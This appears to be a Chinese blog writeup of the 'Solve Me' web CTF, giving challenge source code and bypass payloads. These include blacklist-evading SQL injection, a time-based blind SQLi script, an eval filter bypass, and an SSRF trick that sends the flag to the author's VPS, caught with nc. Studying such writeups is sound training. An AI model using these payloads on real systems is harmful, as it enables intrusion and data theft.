Solve Me writeup

2018/10/12 CTF CTF 23102 words views

又一个 CTF 的平台,知识点偏代码审计上面基本都是 web 题目感觉不错,未完待续……

1.Warm up

<?php
    
    $s = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
    $res = hex2bin(strrev(bin2hex(base64_decode($s))));
    echo $res;
?>

2.Thirty six

就是将所给的数字转换成 36 进制

#coding: utf-8
#59714216653669596140166323768414581512983971077273551022216
# 开始我试图用在线的进制转换工具来进行转换,发现转换的结果并不正确,果然还是需要自己手写
s = "0123456789abcdefghijklmnopqrstuvwxyz"
a = 59714216653669596140166323768414581512983971077273551022216
tmp = 36
res = []
while a:
    b = a % tmp
    a = a // tmp
    res.append(b)
res.reverse()
ans = ""
for i in res:
    ans += s[i]
print ans

3.Bad compare

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['answer'])){

        if($_GET['answer'] === 'роВхУъесЧМ'){
            echo $flag;
        }else{
            echo 'Wrong answer';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

会出错,猜测是返回的数据在浏览器解析上有问题

把回显保存成文件再在16进制工具下打开

curl  -o  ./answer.txt  http://badcompare.solveme.peng.kr/?
得到对应字符的 16 进制表示为
f0eec2f5d3fae5f1d7cc
<?php
    $a = "f0eec2f5d3fae5f1d7cc";
    $b = hex2bin($a);
    echo urlencode($b);
?>
//%F0%EE%C2%F5%D3%FA%E5%F1%D7%CC

4.Winter sleep ⭐️

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['time'])){

        if(!is_numeric($_GET['time'])){
            echo 'The time must be number.';

        }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
            echo 'This time is too short.';

        }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
            echo 'This time is too long.';

        }else{
            sleep((int)$_GET['time']);
            echo $flag;
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

6e6

使用科学计数法绕过is_numeric

php > echo (int)'6e6';
6

此时进行比较时视为科学计数法,sleep 时字符串视为 6

5.Hard login

<?php
    error_reporting(0);
    session_start();
    require __DIR__.'/lib.php';

    if(isset($_GET['username'], $_GET['password'])){

        if(isset($_SESSION['hard_login_check'])){
            echo 'Already logged in..';

        }else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
            echo 'Wrong username..';

        }else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
            echo 'Wrong password..';

        }else{
            $_SESSION['hard_login_check'] = true;
            echo 'Login success!';
            header('Location: ./');
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);
注意到上面的代码这里:
header('Location: ./');
应该是 302 跳转隐藏了 flag
curl 命令不会跟踪重定向
curl http://hardlogin.solveme.peng.kr/

6.URL filtering

<?php
    error_reporting(0);
    require __DIR__."/lib.php";

    $url = urldecode($_SERVER['REQUEST_URI']);
    $url_query = parse_url($url, PHP_URL_QUERY);

    $params = explode("&", $url_query);
    foreach($params as $param){

        $idx_equal = strpos($param, "=");
        if($idx_equal === false){
            $key = $param;
            $value = "";
        }else{
            $key = substr($param, 0, $idx_equal);
            $value = substr($param, $idx_equal + 1);
        }

        if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
            die("no hack");
        }
    }

    if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
        die($flag);
    }

    highlight_file(__FILE__);

这里主要用 parse_url() 在解析 url 时存在 bug,从而绕过:

///?do_you_want_flag=yes

此时 parse_url() 会返回 bool(false),此时$params 就为空。

关于 parse_url 可以参考这里parse_url函数小记

7.Hash collision

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['foo'], $_GET['bar'])){

        if(strlen($_GET['foo']) > 30 || strlen($_GET['bar']) > 30){
            die('Too long');
        }

        if($_GET['foo'] === $_GET['bar']){
            die('Same value');
        }

        if(hash('sha512', $_GET['foo']) !== hash('sha512', $_GET['bar'])){
            die('Different hash');
        }

        echo $flag, '<hr>';
    }

    highlight_file(__FILE__);

payload

/?foo[]=111&bar[]=1111

8.GIF89a

<?php
    error_reporting(0);

    $filepath = __DIR__.'/gif89a';

    echo 'File : <a href="gif89a">gif89a</a><br>',
         'Size : ', filesize($filepath), ' bytes<br>',
         'MD5 : <code>', md5_file($filepath), '</code><br>',
         'SHA1 : <code>', sha1_file($filepath), '</code><br>',
         '<hr>';

    highlight_file(__FILE__);

这题我按照这里的步骤并没有成功 https://kele1997.xyz/2018/03/15/solveme-writeup/

stegsolve.jar 打开文件失败,目前猜测是因为我修改文件的后缀不太对。

留个坑在这里,有时间回头再来战斗 ⭐️

9.Array2String

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    $value = $_GET['value'];

    $username = $_GET['username'];
    $password = $_GET['password'];

    for ($i = 0; $i < count($value); ++$i) {
        if ($_GET['username']) unset($username);
        if ($value[$i] > 32 && $value[$i] < 127) unset($value);
        else $username .= chr($value[$i]);

        if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) {
            echo 'Hello '.$username.'!', '<br>', PHP_EOL;
            echo $flag, '<hr>';
        }
    }

    highlight_file(__FILE__);

tips:

我们可以先访问secret_passwd 获得passwordsimple_passw0rd

我们主要绕过的就是这里

$username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))

再分析一下,后面的密码我们已经知道了,接下来主要就是绕过 $username == '15th_HackingCamp'

但是我们不能直接传入 username 的值,否则的话这个值就会被销毁。

这里就要 chr 函数的特性来解决,chr 函数会自动将 >256的数 mod256

echo chr(48+256); 
// '0'
#coding: utf-8
key = "15th_HackingCamp"
payload = ""
for i in key:
	payload += "value[]=" + str(ord(i) + 256) + "&"
print payload
"""
value[]=305&value[]=309&value[]=372&value[]=360&value[]=351&value[]=328&value[]=353&value[]=355&value[]=363&value[]=361&value[]=366&value[]=359&value[]=323&value[]=353&value[]=365&value[]=368&
"""

10.Flag not found

这道题跟之前 GIF89a 属于同一类型,还是不会,暂且留坑在这里⭐️

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['url'])){
        $url = $_GET['url'];

        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }

        $parse = parse_url($url);
        if(!preg_match('/^https?$/i', $parse['scheme'])){
            die('Not allowed scheme');
        }

        if(!preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])){
            die('Not allowed host');
        }

        if(!preg_match('/\/plz_give_me$/', $parse['path'])){
            die('Not allowed path');
        }

        $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        if($socket === false){
            die('Failed to create socket');
        }

        $host = gethostbyname($parse['host']);
        $port = is_null($parse['port']) ? 80 : $parse['port'];

        if(socket_connect($socket, $host, $port) === false){
            die('Failed to connect');
        }

        $send = "HEAD /".$flag." HTTP/1.1\r\n".
            "Host: ".$host.":".$port."\r\n".
            "Connection: Close\r\n".
            "\r\n\r\n";
        socket_write($socket, $send, strlen($send));

        $recv = socket_read($socket, 1024);var_dump($recv);
        if(!preg_match('/^HTTP\/1.1 200 OK\r\n/', $recv)){
            die('Not allowed response');
        }

        socket_close($socket);

        echo 'Okay, I sent the flag.', '<hr>';
    }

    highlight_file(__FILE__);

这里关键的点如下:

preg_match('/_|\s|\0/', $url)	//过滤掉下划线、空白字符、NULL字符
preg_match('/^https?$/i', $parse['scheme'])	//匹配 schema 为 http 或 https
preg_match('/^(localhost|127\.\d+\.\d+\.\d+|[^.]+)(\:\d+)?$/i', $parse['host'])	//匹配 host 为 localhost 或 127.0.0.1 或 [^.]+
preg_match('/\/plz_give_me$/', $parse['path'])	//匹配 path 为 \plz_give_me

首先过滤了下划线,却在路径中检测/plz_give_me

parse_url 会将 %10 这类无效的 url 字符转换为下划线

或 [^.]+ 这里可以用纯数字绕过

我们可以将 ip 转换成纯数字,下面提供两种转换方式:

在线转换:https://www.ipaddressguide.com/

或者:

<?php 
$ip_addr = "1.1.1.1";
echo ip2long($ip_addr);
?>

紧接着我们就可以构造 payload 了

/?url=http://7x53xx114:3333/plz%10give%10me
然后我们在相应的服务器上进行监听就可以了
nc -l -vv -p 3333

payload:

这里我使用的是我阿里云上的服务器,可以监听成功

47.1xx.1xx.146 --> 7x53xx114
/?url=http://final_ip:port/plz%10give%10me
/?url=http://7x53xx114:3333/plz%10give%10me

nc -l -vv -p port
nc -l -vv -p 3333
<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['url'])){
        $url = $_GET['url'];

        if(preg_match('/_|\s|\0/', $url)){
            die('Not allowed character');
        }

        if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){
            die('Not allowed URL');
        }

        $parse = parse_url($url);
        if($parse['path'] !== '/plz_give_me'){
            die('Not allowed path');
        }

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_exec($ch);
        curl_close($ch);

        echo 'Okay, I sent the flag.', '<hr>';
    }

    highlight_file(__FILE__);

主要看下面这里

preg_match('/_|\s|\0/', $url)	//过滤掉下划线、空白字符、NULL字符
preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)	//$url 匹配 http/https://
$parse['path'] !== '/plz_give_me'

这里的 path 跟上题一样的方法绕过

这里比较难绕过的是 $_SERVER['HTTP_POST'],因为虽然前面使用的是 $_SERVER['HTTTP_POST'],但是后面使用的是 $parse = parse_url($url);,我们可以使用 @ 来绕过,下面来看一个例子:

<?php
  $url=urldecode("https://pengyang.me:8000@127.0.0.1:80/%10index.php");
  echo var_dump(parse_url($url));
  ?>
/*
 输出:
 array(6) {
  ["scheme"]=>
  string(5) "https"
  ["host"]=>
  string(9) "127.0.0.1"
  ["port"]=>
  int(80)
  ["user"]=>
  string(11) "pengyang.me"
  ["pass"]=>
  string(4) "8000"
  ["path"]=>
  string(11) "/_index.php"
}
*/

所以根据以上分析来构造 payload:

http://givemealink.solveme.peng.kr/?url=http://givemealink.solveme.peng.kr@47.1xx.1xx.146/plz%10give%10me

nc -l -vv -p 80

13.Replace filter

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    if(isset($_GET['say']) && strlen($_GET['say']) < 20){

        $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']);

        if(preg_match('/give_me_the_flag/', $say)){
            echo $flag;
        }else{
            echo 'What the f**k?';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

这里主要就是绕过 /^(.*)flag(.*)$/

而对于元字符 . 匹配除了换行符 \n 以外的任何单字符,所以在这里可以构造 %0a(换行符) 进行绕过。

/?say=%0a/give_me_the_flag/

14.Hell JS

JSFuck

在这里在线解码JSFuck Decode

15.Lax CAPTCHA

不会做,PHP 图片操作相关的,留个坑⭐️

16.Empty window

逆向相关的,不会做,留个坑 ⭐️

17.Anti SQLi

<?php
    // It's 'Anti SQLi' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 

    $id = $_GET['id'];
    $pw = $_GET['pw'];

    if(isset($id, $pw)){
        preg_match(
            '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
            '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
            '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
            '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
            'union[\s\xA0]+select|[\s\xA0](where|having)|'.
            '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
            'information_schema|procedure\s+analyse\s*/is',
            $id.','.$pw
        ) and die('Hack detected');

        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');

        $result = mysqli_fetch_array(
            mysqli_query(
                $con, 
                "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');"
            )
        );
        mysqli_close($con);

        if(isset($result)){
            if($result['no'] === '31337'){
                echo $flag;
            }else{
                echo 'Hello, ', $result['id'];
            }
        }else{
            echo 'Login failed';
        }
        echo '<hr>';
    }

    highlight_file(__FILE__);

这里关键的地方在于绕过黑名单过滤:

'/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'.
'=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'.
'0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'.
'[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'.
'union[\s\xA0]+select|[\s\xA0](where|having)|'.
'[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'.
'information_schema|procedure\s+analyse\s*/is',

注意这里

「\\」 只是过滤了字符串「\」 ,并不能真正过滤 '\';要过滤 '\' 需要 「\\\\」 

pw=union all select 1,2,3--%10
「union all select」 是为了绕过「union[\s\xA0]+select」过滤
「--%10」是为了绕过「--[\s\xA0]」

payload:

/?id=\&pw=union all select 31337,31337,3--%10

18.Name check

<?php
    error_reporting(0);
    require __DIR__.'/lib.php'; 

    if(isset($_GET['name'])){

        $name = $_GET['name'];
        if(preg_match("/admin|--|;|\(\)|\/\*|\\0/i", $name)){
            echo 'Not allowed input';
            goto quit;
        }

        $sql = new SQLite3('name_check.db', SQLITE3_OPEN_READWRITE);
        $res = $sql->query("
            SELECT 
            MAX('0','1','{$name}') LIKE 'a%', 
            INSTR('{$name}','d')>0, 
            MIN('{$name}','b','c') LIKE '__m__', 
            SUBSTR('{$name}',-2)='in'
        ;");
        if($res === false){
            echo 'Database error';
            goto quit;
        }

        $row = $res->fetchArray(SQLITE3_NUM);
        if(
            $row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
            array_sum($row) !== 4 
        ){
            echo 'Auth failed';
            goto quit;
        }

        echo $flag;

    quit:
        echo '<hr>';
    }

    highlight_file(__FILE__);

关键的地方在这里:

SELECT 
MAX('0','1','{$name}') LIKE 'a%', 
INSTR('{$name}','d')>0, 
MIN('{$name}','b','c') LIKE '__m__', 
SUBSTR('{$name}',-2)='in

MAX(): 寻找记录中的最大值;
INSTR(str,substr): str是要搜索的字符串,substr是要搜索的子字符串;
SUBSTR(string string,num start,num length)
'%a'     //以a结尾的数据
'a%'     //以a开头的数据
'%a%'    //含有a的数据
'_a_'    //三位且中间字母是a的
'_a'     //两位且结尾字母是a的
'a_'     //两位且开头字母是a的

要不满足
$row[0] + $row[1] + $row[2] + $row[3] !== 4 ||
array_sum($row) !== 4 
这个才能绕过 if 语句
所以最开始的「SELECT」要全部为 true 才可以

通过以上分析可知我们就是要构造admin 同时要绕过/admin|--|;|\(\)|\/\*|\\0/i

查阅sqlite发现,它在连接字符串的时候用的是 || 而不是 + ,所以payload: ?name=ad'||'min

19.Super secure hash

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    function super_secure_hash($text){
        $hashed = sha1(crc32($text));
        $encoded = base64_encode(hex2bin($hashed));
        return $encoded;
    }

    function login_check($username, $password){
        if(strlen($username) > 4 && strlen($password) > 6){

            $users = json_decode(file_get_contents(__DIR__.'/users.json'));
            foreach($users as $user){
                if($user->username === $username){
                    return $user->password === super_secure_hash($password);
                }
            }
        }
        return false;
    }

    if(isset($_GET['username'], $_GET['password'])){

        if(login_check($_GET['username'], $_GET['password'])){

            if($_GET['username'] === 'admin'){
                echo $flag;
            }else{
                echo 'Hello, '.$_GET['username'].'!';
            }

        }else{
            echo 'Wrong username or password..';
        }

        echo '<hr>';
    }

    highlight_file(__FILE__);

tips:

访问/users.json 得到

[{"username":"admin","password":"G19qLfSByRqrTRS8in1qT\/CWvnc="},{"username":"guest","password":"vANiIasnT\/+9Z5eyvy6H0BMjTgw="}]
<?php
	$password = "G19qLfSByRqrTRS8in1qT\/CWvnc=";
	$t1 = base64_decode($password);
	$t2 = bin2hex($t1);
	echo $t2;
	//1b5f6a2df481c91aab4d14bc8a7d6a4ff096be77
	//md5 解密结果为 77236792 
?>

最后差的一步是进行crc32 的破解,这里不知道该怎么解⭐️

20.I am slowly

<?php
    // It's 'I am slowly' problem of 'Solve Me'.
    error_reporting(0);
    require __DIR__.'/lib.php'; 

    $table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']);
    $answer = $_GET['answer'];

    if(isset($answer)){
        $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname)
            or die('SQL server down');

        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT `count` FROM `{$table}`;")
        );
        if(!isset($result)){
            mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);");
            $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand()));
            mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");

        }elseif($result['count'] === '12'){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo 'Game over';
            goto quit;
        }

        $randtime = mt_rand(1, 10);
        $result = mysqli_fetch_array(
            mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';")
        );
        if(isset($result) && $result['answer'] === $answer){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo $flag;
        }else{
            mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;");
            echo 'Go fast';
        }

quit:
        mysqli_close($con);
        echo '<hr>';
    }

    highlight_file(__FILE__);

理解上面这段代码要知道几个函数

int ip2long ( string $ip_address ): 函数 ip2long() 返回 IPV4 网络地址的长整型格式,从标准网络地址格式(点字符串)转化得到。

"SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';"
这里明显存在 mysql 注入

if($result['count'] === '12'){
            mysqli_query($con, "DROP TABLE `{$table}`;");
            echo 'Game over';
            goto quit;
}
//注意这里 count=12 时会删除表,也就是限制你每一轮查询的次数
这里绕过的方法是,当查询完第 10 次时(count=11)停止,进行一个 sleep(50) 的查询(这是第 11 次,但是 count 还停留在 11)
此时在该次 sleep(50) 期间再进行一个没有 sleep() 的查询

总结一下就是先手动绕过 count 次数限制

  • 从第一次 Go fast 开始手动请求 10 次此时count=11
  • 第 11 次请求时添加sleep(50),让第 11 次的查询先卡在这
  • 新开个第 12 次请求不带sleep(),那么必然是这一步先完成,然后第 11 次再完成,此时count=13
  • 这样就绕过 count 次数限制,然后再用基于时间的盲注就可以了
import requests


header = {
"Host":"iamslowly.thinkout.rf.gd",
"Cache-Control":"max-age=0",
"Upgrade-Insecure-Requests":"1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8",
"Referer":"http://solveme.peng.kr/chall",
"Accept-Language":"zh-CN,zh;q=0.8",
"Cookie":"__test=4e24f06823c94d835793489401f06612"
}

answer = "722c7ebb20ed5c9bb3e2905"
for i in range(24, 33):
    for j in "abcdef1234567890":
        url = "http://iamslowly.thinkout.rf.gd/?answer=' or if((answer like '%s%%'),sleep(30),1)%%23" % (answer + j)
        try:
            r = requests.get(url=url,headers=header, timeout=29)
            print("i:", i, "j:", j, r.content[:10])
        except:
            answer += j
            print("answer:", answer)
            break
# 722c7ebb20ed5c9bb3e2905d252cde28

21.Cheap lottery

tips:

/robots.txt
/backup/
<?php
	require __DIR__."/_config.php";
	$sql = new mysqli($sql_host, $sql_username, $sql_password, $sql_dbname) or die("SQL Server Down T.T");

	$name = "guest_".$_SERVER['REMOTE_ADDR'];
	$result = $sql->query("SELECT * FROM `lottery` WHERE `name`='{$name}';");
	$row_guest = $result->fetch_assoc();
	unset($name, $result);

	if(isset($_GET['lottery']) && is_array($_GET['lottery']) && count($_GET['lottery']) == 5){ // buy request

		if(isset($row_guest)){ // already bought

			$msg = "You already bought a lottery ticket at ".date('Y-m-d H:i:s', $row_guest['time']).".";
			$buy_enable = false;

		}else{ // not bought yet, but buy now

			// insert real answer
			$name = "admin_".$_SERVER['REMOTE_ADDR'];
			$time = time();
			$nums = implode(",", [ mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100), mt_rand(1, 100) ]);
			$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
			unset($name, $time, $nums);

			// insert my answer
			$name = "guest_".$_SERVER['REMOTE_ADDR'];
			$time = time();

			$url_query = urldecode(parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY));
			$nums = preg_replace("/[a-zA-Z\[\]\=]/", "", $url_query);
			$nums = strtr($nums, "&", ",");
			$sql->query("INSERT INTO `lottery`(`name`, `time`, `nums`) VALUE('{$name}', '{$time}', '{$nums}');");
			unset($name, $time, $url_query, $nums);

			$msg = "You bought a lottery ticket. Please wait 60 sec.";
			$buy_enable = false;
		}

	}else{ // not buy request

		if(isset($row_guest)){ // already bought

			if(intval($row_guest['time']) + 60 <= time()){ // publish result

				$name = "admin_".$_SERVER['REMOTE_ADDR'];
				$result = $sql->query("SELECT * FROM `lottery` WHERE `name`='{$name}';");
				$row_admin = $result->fetch_assoc();
				unset($name, $result);

				// check answer
				$bingo = 0;
				$nums_admin = explode(",", $row_admin['nums']); // admin_*
				$nums_guest = explode(",", $row_guest['nums']); // guest_*
				for($i = 0; $i < 5; ++$i){
					for($k = 0; $k < 5; ++$k){
						if(isset($nums_admin[$i], $nums_guest[$k]) && $nums_admin[$i] === $nums_guest[$k]){
							++$bingo;
							unset($nums_guest[$k]);
							break;
						}
					}
				}
				unset($nums_admin, $nums_guest);

				if($bingo == 5){ // correct all
					$msg = "Perfect! The flag is <code>{$flag}</code>.";

				}elseif($bingo > 0){ // correct
					$msg = "Excellent! You matched {$bingo} numbers. :)";

				}else{ // incorrect
					$msg = "Oops! You did not even match one. :(";

				}
				$buy_enable = true;

				$name_admin = "admin_".$_SERVER['REMOTE_ADDR'];
				$name_guest = "guest_".$_SERVER['REMOTE_ADDR'];
				$sql->query("DELETE FROM `lottery` WHERE `name` IN ('{$name_admin}', '{$name_guest}');");
				unset($name, $name_admin, $name_guest);

			}else{

				$msg = "Please wait until at ".date('Y-m-d H:i:s', intval($row_guest['time']) + 60).".";
				$buy_enable = false;
			}

		}else{ // not bought

			$msg = "Oh, Please buy a lottery ticket. It's free!";
			$buy_enable = true;
		}
	}
?>

payload:

admin:%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1
guest:%C4%9D%C3%9B%C3%A8%C5%9B%C5%A3
<?php 
$a = vps_ip;
$time =time();
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery%5BA%5D=1'),('%C3%A0%C4%8F%E1%B9%81%C3%8D%C3%B1_".$a."','$time','1,1,1,1,1'),('%C4%9D%C3%9B%C3%A8%C5%9B%C5%A3_".$a."','$time','1,1,1,1,1')%23&lottery%5BB%5D=&lottery%5BC%5D=&lottery%5BD%5D=&lottery%5BE%5D=";
echo $url;
 ?>

在 VPS 端:

curl http://cheaplottery.solveme.peng.kr/index.php
回显即可得到 flag

22.Check via eval

<?php
    error_reporting(0);
    require __DIR__.'/lib.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo 'Not allowed length';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo 'Not allowed keyword';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo 'What\'s going on?';
    }

    echo '<hr>';

    highlight_file(__FILE__);

这里主要注意下面几个关键点

'/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is'
过滤功能

strlen($_GET['flag']) != strlen($exam)
长度检测

tips:

echo 可以使用<?="something"?>,但是在 PHP 5.4.0 之前,必须在php.ini 里面启用short_open_tag才有效。

因此,在eval中可以使用?><?=$flag;

这样我们就有了构造payload 的思路,同时这里要注意绕过检测。

return'54141bde7e7f3c0dbca8e4c242029afaad8c8a01';
$catcher='klag';$catcher{0}='f';?><?=${$catcher};

参考

solveme.peng.kr_Web代码审计练习
http://chaosec.top/2018/07/31/solveme/

Search

    Table of Contents